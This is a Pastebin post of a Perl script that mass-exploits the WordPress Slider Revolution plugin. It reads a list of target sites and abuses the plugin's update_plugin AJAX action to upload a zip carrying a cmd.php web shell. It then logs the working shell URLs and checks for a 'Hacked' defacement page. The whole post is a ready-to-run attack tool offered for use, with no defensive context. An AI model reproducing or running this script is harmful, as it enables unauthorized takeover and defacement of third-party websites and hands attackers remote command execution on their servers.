Advertisement
ken7

Slider Revolution

Apr 25th, 2015
1,131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.80 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # kkkkk  kkkkkk eeeeeeeeeeee nnnnn    nnnnn         ddddd rrrrr rrrrr      iiiii
  4. # k:::k  k:::kk e::::::::::e n:::n    n:::n         d:::d r:::rr:::::r     i:::i
  5. # k:::k k:::k   e:::eeeeeeee n::::n   n:::n         d:::d r:::r::rrr::r    iiiii
  6. # k:::kk:::k    e:::e        n:::::n  n:::n         d:::d r:::::r   r::r
  7. # k::::::k      e:::eeee     n:::n:::nn:::n      dd d:::d r::::::rrr::r    iiiii
  8. # k:::::k       e::::::e     n:::nn:::n:::n    dddddd:::d r::::::::::r     i:::i
  9. # k::::K        e:::eeee     n:::n n::::::n   d:::::::::d r::::::::r       i:::i
  10. # k:::::k       e:::e        n:::n  n:::::n  d::::::::::d r:::rr:::r       i:::i
  11. # k::::::k      e:::e        n:::n   n::::n d:::dddd::::d r:::r r:::r      i:::i
  12. # k:::kk:::k    e:::e        n:::n    n:::n d:::d   d:::d r:::r  r:::r     i:::i
  13. # k:::k k:::k   e:::eeeeeeee n:::n    n:::n d:::dddd::::d r:::r   r:::r    i:::i
  14. # k:::k  k:::kk e::::::::::e n:::n    n:::n  d::::::d:::d r:::r   r::::r   i:::i
  15. # kkkkk  kkkkkk eeeeeeeeeeee nnnnn    nnnnn   dddddd dddd rrrrr   rrrrrr   iiiii
  16. #
  17. #
  18. #  
  19. #  
  20. #  +------------------------------------------------------------------------------------------------+
  21. #  |  Warning : Download This Archive .zip and past in folder Bin of Perl for Use this Script !!!!  |
  22. #  |  Link : http://ken7ester.blogspot.com/                                                         |
  23. #  |                                                                                                |
  24. #  +------------------------------------------------------------------------------------------------+
  25. #
  26. # -> Title : Auto Exploiter Slider Revolution Shell Upload
  27. # -> Author: CrashBandicot
  28. # -> Edited: kendri
  29. #
  30.  
  31. use LWP::UserAgent;
  32.  
  33. system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  34.  
  35. head();
  36.  
  37. my $usage = " \nperl $0 <list.txt>\n perl $0 lista.txt";
  38. die "$usage" unless $ARGV[0];
  39.  
  40. open(tarrget,"<$ARGV[0]") or die "$!";
  41. while(<tarrget>){
  42. chomp($_);
  43. $target = $_;
  44.  
  45. my $path = "wp-admin/admin-ajax.php";
  46.  
  47. print "\nTarget => $target\n";
  48.  
  49. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  50. $ua->timeout(10);
  51. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  52. my $req = $ua->get("$target/$path");
  53. if($req->is_success) {
  54. print "\n  [+] Xploit Possibility Work :3\n \n";
  55.  
  56.  
  57.  
  58. print "  [*] Try Exploiting Vulnerability\n";
  59. print "  [*] Xploiting $target\n";
  60.  
  61. my $exploit = $ua->post("$target/$path", Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]);
  62.  
  63. print "  [*] Sent payload\n";
  64.  
  65. if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
  66. print "  [+] Payload successfully executed\n";
  67.  
  68. print "  [*] Checking if shell was uploaded\n";
  69. my $check = $ua->get("$target/wp-content/plugins/revslider/temp/update_extract/revslider/cmd.php")->content;
  70. if($check =~/<br>/) {
  71.  
  72.     print "  [+] Shell successfully uploaded\n";
  73.     open(save, '>>Shell.txt');
  74.     print save "shell : $target/wp-content/plugins/revslider/temp/update_extract/revslider/cmd.php?zeb\n";
  75.     close(save);
  76.  
  77.  
  78. print "  [*] Checking if Deface was uploaded now\n";
  79.  
  80. my $def = $ua->get("$target/leet.html")->content;
  81. if($def = ~/Hacked/) {
  82.  
  83. print "  [+] Deface uploaded successfull\n";
  84.  
  85.  
  86. } else {print "   [-] Deface not Uploaded :/"; }
  87. } else { print "  [-] I'think Shell Not Uploaded :/\n"; }
  88. } else {
  89. print "  [-] Payload failed: Fail\n";
  90. print "\n";
  91.  
  92. }
  93. } else { print "\n [-]Xploit Fail \n"}
  94.  
  95. sub head {
  96. print "\t   +===============================================\n";
  97. print "\t   | Auto Exploiter Revslider Shell Upload \n";
  98. print "\t   | Edited: kendri\n";
  99. print "\t   +===============================================\n";
  100. }
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement